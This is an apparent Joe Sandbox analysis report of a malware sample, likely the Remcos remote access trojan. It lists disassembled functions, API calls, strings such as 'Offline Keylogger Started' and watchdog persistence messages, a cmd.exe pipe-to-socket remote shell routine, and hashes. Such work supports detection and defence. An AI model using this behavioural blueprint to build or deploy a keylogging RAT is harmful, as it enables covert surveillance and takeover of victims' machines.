CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,1233530B,?,?,00000000,00000000,?,Offline Keylogger Started,00000000,12335208,?,00000000), ref: 1233488E

Part of subcall function 1233489E: WSAStartup.WS2_32(00000202,00000000), ref: 123348B3

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CreateEventStartupsocket
String ID:
API String ID: 1953588214-0
Opcode ID: bd920f450eb05400b285aaad9bafc4545678ecf1fa6e429bfd2ede7aa8f1eba4
Instruction ID: d2caa88237913bcbd0c889fa390de20b9b7e80e7b1b6e8b75b45e729caf6b2da
Opcode Fuzzy Hash: bd920f450eb05400b285aaad9bafc4545678ecf1fa6e429bfd2ede7aa8f1eba4
Instruction Fuzzy Hash: FD0171B5858BE09FE7368F28A4857867FE4AB05314F044E5EF1DB9BB91C7B1A481CB10

Uniqueness

Uniqueness Score: -1.00%

Function 1233165E Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
Instruction ID: a210a0d6227235addd54fbba1c302f3f0c25aa062d896c6259d38078a23d13fa
Opcode Fuzzy Hash: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
Instruction Fuzzy Hash: FCF027B3B152025ADB1E8B30C850B6A77BA5F80317F14CB6DF89BC54D4C730CA90C600

Uniqueness

Uniqueness Score: -1.00%

Function 1234BA96 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 1234BAB8
GetWindowTextW.USER32(00000000,?,00000100), ref: 1234BACB

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Window$ForegroundText
String ID:
API String ID: 29597999-0
Opcode ID: 21ecbfe089474d1864fd893a540c151d17e775f3cf06ebacf64d52def975b389
Instruction ID: 2904fc950bef337ad4530027acedee2392d73f01ee5aee753791b5ce37f9f911
Opcode Fuzzy Hash: 21ecbfe089474d1864fd893a540c151d17e775f3cf06ebacf64d52def975b389
Instruction Fuzzy Hash: B8E0D876A4032827E73096A49C8DFF5776CEB04700F000199F61DD72C1E9B0AA04CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 12344EE9 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(00000000,00000000,00000000,123A2ADC,123A50E4,00000000,12345188,00000000,00000001), ref: 12344F0B
WSASetLastError.WS2_32(00000000), ref: 12344F10

Part of subcall function 12344D86: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 12344DD5
Part of subcall function 12344D86: LoadLibraryA.KERNEL32(?), ref: 12344E17
Part of subcall function 12344D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 12344E37
Part of subcall function 12344D86: FreeLibrary.KERNEL32(00000000), ref: 12344E3E
Part of subcall function 12344D86: LoadLibraryA.KERNEL32(?), ref: 12344E76
Part of subcall function 12344D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 12344E88
Part of subcall function 12344D86: FreeLibrary.KERNEL32(00000000), ref: 12344E8F
Part of subcall function 12344D86: GetProcAddress.KERNEL32(00000000,?), ref: 12344E9E

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Library$AddressProc$FreeLoad$DirectoryErrorLastSystemgetaddrinfo
String ID:
API String ID: 1170566393-0
Opcode ID: bdc3a521075f6f1699fa2bd54c2a0d7c2949892d391c994b78be4b1fd44e96ad
Instruction ID: 7f4238ad9fee826ef3e854574ecb7a0d2821e2648c03224bfe085865b919f79b
Opcode Fuzzy Hash: bdc3a521075f6f1699fa2bd54c2a0d7c2949892d391c994b78be4b1fd44e96ad
Instruction Fuzzy Hash: 4BD012732411316FE360A6594C44BBAD6DCDBD67607150576F914D3100DA508C4186A0

Uniqueness

Uniqueness Score: -1.00%

Function 123418B2 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa9612c468631c8733b0ba7410eaa7de454ed8386f5af0c55508338788386e1a
Instruction ID: f711058848295697c56a826315088b26dcb9320567ba81d86b7dce9f9cd7f59c
Opcode Fuzzy Hash: aa9612c468631c8733b0ba7410eaa7de454ed8386f5af0c55508338788386e1a
Instruction Fuzzy Hash: EF11E373B105429FD3049E19C884F96B7BAFF81715B654398E186CB292DF31E851C690

Uniqueness

Uniqueness Score: -1.00%

Function 12339DE4 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 12339DFD

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: e2370c0e7dacc0b19a5211f7bb573ce0c44a36e09d7091f9183fd7dd9d28dcfc
Instruction ID: 57d122a2eb724fc6a5401fd7e316cf43985e89a6ceffd68346df42549a77fd79
Opcode Fuzzy Hash: e2370c0e7dacc0b19a5211f7bb573ce0c44a36e09d7091f9183fd7dd9d28dcfc
Instruction Fuzzy Hash: 3A1172379002099FCB66DF64E8509FF7BF9AF54311B10412AE84696290FF74BA16CB90

Uniqueness

Uniqueness Score: -1.00%

Function 123800D4 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 12375AF3: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,123782CA,00000001,00000364,?,1236BD0B,00000000,00000000,00000000,00000000,00000000,?,?), ref: 12375B34

_free.LIBCMT ref: 12380140

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: fdbd8fd48d54792b4aab90f4371f9c4c5731c6c52bc699df08f3ae970cc02b1f
Instruction ID: f3ea1d635e7ce5edcfa66797b589729cbadf998a11106240ba0283360f808c70
Opcode Fuzzy Hash: fdbd8fd48d54792b4aab90f4371f9c4c5731c6c52bc699df08f3ae970cc02b1f
Instruction Fuzzy Hash: 15012B776003859BE3318E69D885AA9FBD8EB85370F25071DD594872C0E630A805C674

Uniqueness

Uniqueness Score: -1.00%

Function 1233A367 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

CallNextHookEx.USER32(123A50F0,?,?,?), ref: 1233A3D2

Part of subcall function 1233B646: GetKeyState.USER32(00000011), ref: 1233B64B

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CallHookNextState
String ID:
API String ID: 3280314413-0
Opcode ID: d622c44fbf08cdb5a77c438a9687f244e71aae25bec6e5541689a5a8e5439c9f
Instruction ID: 5c911240a6d55aa560c2b8256ce3a3f68374608da5dcb851fd4ce1831b2d42f4
Opcode Fuzzy Hash: d622c44fbf08cdb5a77c438a9687f244e71aae25bec6e5541689a5a8e5439c9f
Instruction Fuzzy Hash: 2CF028B77042055BCB1B9EB4DC84DBEBB9AEBC6327F000A2DE80286552DA61E609C710

Uniqueness

Uniqueness Score: -1.00%

Function 12375AF3 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,123782CA,00000001,00000364,?,1236BD0B,00000000,00000000,00000000,00000000,00000000,?,?), ref: 12375B34

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 32243b7623f6a6b2535693a5bb3c29dd9be240d9eb608f03e664349569589499
Instruction ID: 20deef0bf423a7142b0baa448b10b258b5881f3859091516c13fe29879c4d092
Opcode Fuzzy Hash: 32243b7623f6a6b2535693a5bb3c29dd9be240d9eb608f03e664349569589499
Instruction Fuzzy Hash: 5DF0E9B36441785ADF795A22AC44FBBB74DAF40771B418211EC18EA1C0CF28E800C6F0

Uniqueness

Uniqueness Score: -1.00%

Function 12376137 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,123652BC,?,?,12368847,?,?,00000000,?,?,1233DE62,123652BC,?,?,?,?), ref: 12376169

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6e5e8e2758ca9d7dc12c922437e44a273a580d62e1ab66211850df98e2452fc7
Instruction ID: 5c614e2fa5168a4e45addadbfe276c71d415ab97adf61a0b01644bf3b4fda2bb
Opcode Fuzzy Hash: 6e5e8e2758ca9d7dc12c922437e44a273a580d62e1ab66211850df98e2452fc7
Instruction Fuzzy Hash: 24E065379442256EDF2216655C2CB9B775D9B413B1F010225DC1596182DF2CD402E9E0

Uniqueness

Uniqueness Score: -1.00%

Function 1233489E Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,00000000), ref: 123348B3

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: ea5383319e0787fb25feb871811165c8455f71fa66e29a41c3246c4892c52212
Instruction ID: e0041d8d1d769095c86484de1a4a9d9f445aff3ea5c223f152ee74aed81739cb
Opcode Fuzzy Hash: ea5383319e0787fb25feb871811165c8455f71fa66e29a41c3246c4892c52212
Instruction Fuzzy Hash: 6FD012735A862C5EF621A9B49C4F8E4775CC352615F000BAAECBAC36C2EA40171CC2B7

Uniqueness

Uniqueness Score: -1.00%

Function 123327A7 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

std::_Deallocate.LIBCONCRT ref: 12332E2B

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Deallocatestd::_
String ID:
API String ID: 1323251999-0
Opcode ID: 1728ba59e3f5797c2b26d6c1ec3f14ce13f4925b5309dcbb8e7c7e422a6d3f49
Instruction ID: b99b25cc8ba40a518aa52ec276326e0acc421b75c2d468e1ddb2ff4fea5a4705
Opcode Fuzzy Hash: 1728ba59e3f5797c2b26d6c1ec3f14ce13f4925b5309dcbb8e7c7e422a6d3f49
Instruction Fuzzy Hash: 81B0923B4042007ACA536680AC42B5FB7A2ABA4B11F04C914BA9918161D2728728D602

Uniqueness

Uniqueness Score: -1.00%

Function 12341CA3 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,12341DE7,?,00000000,00003000,00000040,00000000,?,?), ref: 12341CB3

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5f8fc32552f98c10d4aaf45c571837f49f6b6d58775d6784bd4be36191dceb83
Instruction ID: d37f656d647a7ee444b81714c66f9eac2fb80986a19584f832f3ecad2d0f1fa1
Opcode Fuzzy Hash: 5f8fc32552f98c10d4aaf45c571837f49f6b6d58775d6784bd4be36191dceb83
Instruction Fuzzy Hash: 54B008B2458392AFCF02DF90CD4492EBAB6BBC8341F184D5CF2A64516087228428EB02

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0059F7A7 Relevance: 42.8, APIs: 3, Strings: 21, Instructions: 795COMMON

Download Yara Rule

Strings

PG, xrefs: 0059FF69
dMG, xrefs: 0059FF8A
8SG, xrefs: 0059FC47
PG, xrefs: 0059F878
8SG, xrefs: 0059FCFF
PG, xrefs: 0059FEBA
PG, xrefs: 0059FEE5
PG, xrefs: 0059FF0D
PG, xrefs: 0059FE18
PG, xrefs: 0059FFA9
PG, xrefs: 0059FC8E
PSG, xrefs: 005A0006
PG, xrefs: 0059FB29
PG, xrefs: 0059FD48
PG, xrefs: 0059FFD5
SG, xrefs: 0059F8E7
PG, xrefs: 0059FF36
PG, xrefs: 0059FBB5
SG, xrefs: 0059F944
PG, xrefs: 0059FB5D
PG, xrefs: 0059F83F

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: SG$ SG$8SG$8SG$PSG$dMG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
API String ID: 3519838083-419171480
Opcode ID: 199031d79b4a41a334a9cd24d8b34a5cd595dbc2da4f6ada28a0c3ca32364395
Instruction ID: 2647dcded3d1af567f027b6f2d329f938d898989b9dfe75feb62994de44647dc
Opcode Fuzzy Hash: 199031d79b4a41a334a9cd24d8b34a5cd595dbc2da4f6ada28a0c3ca32364395
Instruction Fuzzy Hash: F0329260B443833BDF19B7705C5FF7E2E8ABBD1700F104429B5469B6D2EEA88D458366

Uniqueness

Uniqueness Score: -1.00%

Function 1233569A Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 278pipesleepfileCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 123356E6

Part of subcall function 12334AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 12334B36

__Init_thread_footer.LIBCMT ref: 12335723
CreatePipe.KERNEL32(123A6CCC,123A6CB4,123A6BD8,00000000,123960BC,00000000), ref: 123357B6
CreatePipe.KERNEL32(123A6CB8,123A6CD4,123A6BD8,00000000), ref: 123357CC
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,123A6BE8,123A6CBC), ref: 1233583F
Sleep.KERNEL32(0000012C,00000093,?), ref: 12335897
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 123358BC
ReadFile.KERNEL32(00000000,?,?,00000000), ref: 123358E9

Part of subcall function 12364770: __onexit.LIBCMT ref: 12364776

WriteFile.KERNEL32(00000000,00000000,?,00000000,123A4F90,123960C0,00000062,123960A4), ref: 123359E4
Sleep.KERNEL32(00000064,00000062,123960A4), ref: 123359FE
TerminateProcess.KERNEL32(00000000), ref: 12335A17
CloseHandle.KERNEL32 ref: 12335A23
CloseHandle.KERNEL32 ref: 12335A2B
CloseHandle.KERNEL32 ref: 12335A3D
CloseHandle.KERNEL32 ref: 12335A45

Strings

SystemDrive, xrefs: 12335761
cmd.exe, xrefs: 1233574D

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
String ID: SystemDrive$cmd.exe
API String ID: 2994406822-3633465311
Opcode ID: f655cd7fa5f6816fcf8e35e60fd7257f561445eef2c7ae84019489914de031a2
Instruction ID: f44b3312d455c8c5c402ac8cd5626737452cce00235c89a31556ca9c58c5738d
Opcode Fuzzy Hash: f655cd7fa5f6816fcf8e35e60fd7257f561445eef2c7ae84019489914de031a2
Instruction Fuzzy Hash: C69107BB584228AFDB52AB34DCD0A7E7BADEBC4301B40093DF549D6291DE21AE04DF51

Uniqueness

Uniqueness Score: -1.00%

Function 123420F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 12342106

Part of subcall function 12343877: RegCreateKeyA.ADVAPI32(80000001,00000000,123960A4), ref: 12343885
Part of subcall function 12343877: RegSetValueExA.KERNEL32(123960A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,1233C152,12396C48,00000001,000000AF,123960A4), ref: 123438A0
Part of subcall function 12343877: RegCloseKey.ADVAPI32(123960A4,?,?,?,1233C152,12396C48,00000001,000000AF,123960A4), ref: 123438AB

OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 12342146
CloseHandle.KERNEL32(00000000), ref: 12342155
CreateThread.KERNEL32(00000000,00000000,123427EE,00000000,00000000,00000000), ref: 123421AB
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 1234241A

Strings

svchost.exe, xrefs: 123422C5
WinDir, xrefs: 1234221B, 12342270
rmclient.exe, xrefs: 123422EA
fsutil.exe, xrefs: 1234230F
Watchdog launch failed!, xrefs: 12342383
\SysWOW64\, xrefs: 12342261
Remcos restarted by watchdog!, xrefs: 12342160
Watchdog module activated, xrefs: 12342184, 123423DC
\system32\, xrefs: 12342209
WDH, xrefs: 123421B5, 123421BB, 12342420

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
API String ID: 3018269243-13974260
Opcode ID: 80846e9aa32d5e9ecad583fa24fef2e61b35c813560b9b1a2ed946de021dd459
Instruction ID: caf8b4145597d1951c4f1e2719e8c994e397e7f075146ad6c9450c8f02044393
Opcode Fuzzy Hash: 80846e9aa32d5e9ecad583fa24fef2e61b35c813560b9b1a2ed946de021dd459
Instruction Fuzzy Hash: 3171923B6142405BD67AEB71CC549BE77F8AFD5301F500A6DF486A2190EF24BB09C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0040128D Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 101registryfiletimeCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000000,Software\Mercury32,?), ref: 004012B3
RegQueryValueA.ADVAPI32(?,BaseDir,?,?), ref: 004012DA
RegCloseKey.ADVAPI32(?), ref: 004012E6
RegCloseKey.ADVAPI32(?), ref: 004012F3
FindFirstFileA.KERNEL32(?,?), ref: 0040133C
FindClose.KERNEL32(00000000,?,?), ref: 00401347
GetLocalTime.KERNEL32(?), ref: 00401392

Strings

BaseDir, xrefs: 004012D2
%02d-%02d-%02d.%02d%02d: %s, xrefs: 004013CA
%s\Loader.Log, xrefs: 0040131A
Software\Mercury32, xrefs: 004012A9
r+t, xrefs: 00401364

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: Close$Find$FileFirstLocalOpenQueryTimeValue
String ID: %02d-%02d-%02d.%02d%02d: %s$%s\Loader.Log$BaseDir$Software\Mercury32$r+t
API String ID: 3460814986-3360229980
Opcode ID: d42e11aa60fbf32dd4a069eacb1d90151598f08982d27fe23f8b733977c3bb31
Instruction ID: dfd861be5d27ab76580011db74593427ab2e3e9b6d1f87f4f499b649e2b96ce4
Opcode Fuzzy Hash: d42e11aa60fbf32dd4a069eacb1d90151598f08982d27fe23f8b733977c3bb31
Instruction Fuzzy Hash: C231A9B1D00218A6DB2197A1DC42FEE727C9B58704F1005BFBA45B11D2EBBC9B8497AC

Uniqueness

Uniqueness Score: -1.00%

Function 00401612 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 199registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000000,?,?), ref: 0040163A
RegQueryValueA.ADVAPI32(?,?,?,00000100), ref: 00401666
RegCloseKey.ADVAPI32(?,?,?,?,00000100,80000000,?,?), ref: 0040167F

Strings

Sun, xrefs: 0040161E

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Sun
API String ID: 3677997916-1777960983
Opcode ID: 7ff23931f9180ebd065799e6ebba2e26a881ec2f15493c3a157dd0b93333aae2
Instruction ID: a1372a7988ff15dddaec5151edecfe8a6d2af13598d18863dde0c3b66d26f21d
Opcode Fuzzy Hash: 7ff23931f9180ebd065799e6ebba2e26a881ec2f15493c3a157dd0b93333aae2
Instruction Fuzzy Hash: 2E618DB79002196AD755D761CC41EEBB37CEF48304F0445ABB649B2091EB785BD48FE8

Uniqueness

Uniqueness Score: -1.00%

Function 123432D2 Relevance: 18.2, APIs: 12, Instructions: 153fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 12343417
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 12343425
GetFileSize.KERNEL32(?,00000000), ref: 12343432
UnmapViewOfFile.KERNEL32(00000000), ref: 12343452
CloseHandle.KERNEL32(00000000), ref: 1234345F
CloseHandle.KERNEL32(?), ref: 12343465

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: File$CloseHandleView$CreateMappingSizeUnmap
String ID:
API String ID: 297527592-0
Opcode ID: 6d2f60fa608976eb432555445adae6e36b4f98b6222c7cf6ec10d3f135070d4d
Instruction ID: 1741bed1f8e5d04286adcb3823877cfacf3b6be66590ec1b5b850be7a463a1cd
Opcode Fuzzy Hash: 6d2f60fa608976eb432555445adae6e36b4f98b6222c7cf6ec10d3f135070d4d
Instruction Fuzzy Hash: 1E41C373248251BBD7219B65DC89F6B7AECEFC5768F300A19F658DA190EE30D500CA62

Uniqueness

Uniqueness Score: -1.00%

Function 12349627 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 206COMMON

Download Yara Rule

Strings

5, xrefs: 12349809
3, xrefs: 12349754
0, xrefs: 12349651
7, xrefs: 1234982A
2, xrefs: 123496F4
1, xrefs: 12349695
6, xrefs: 12349813
4, xrefs: 123497B8

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID:
String ID: 0$1$2$3$4$5$6$7
API String ID: 0-3177665633
Opcode ID: 401f5f3d2bfbf4705654e8bf53b8f20f95d9d126d85cd321d15299b92ac01670
Instruction ID: 59483818b5f760f7e2e3d04f538446bdc99ca28c0bc00dae34ebd6b4643a217a
Opcode Fuzzy Hash: 401f5f3d2bfbf4705654e8bf53b8f20f95d9d126d85cd321d15299b92ac01670
Instruction Fuzzy Hash: 8671D1769483429FD725CF20E854BAABBD49F88310F104A5DF592572E0DF74BB09C792

Uniqueness

Uniqueness Score: -1.00%

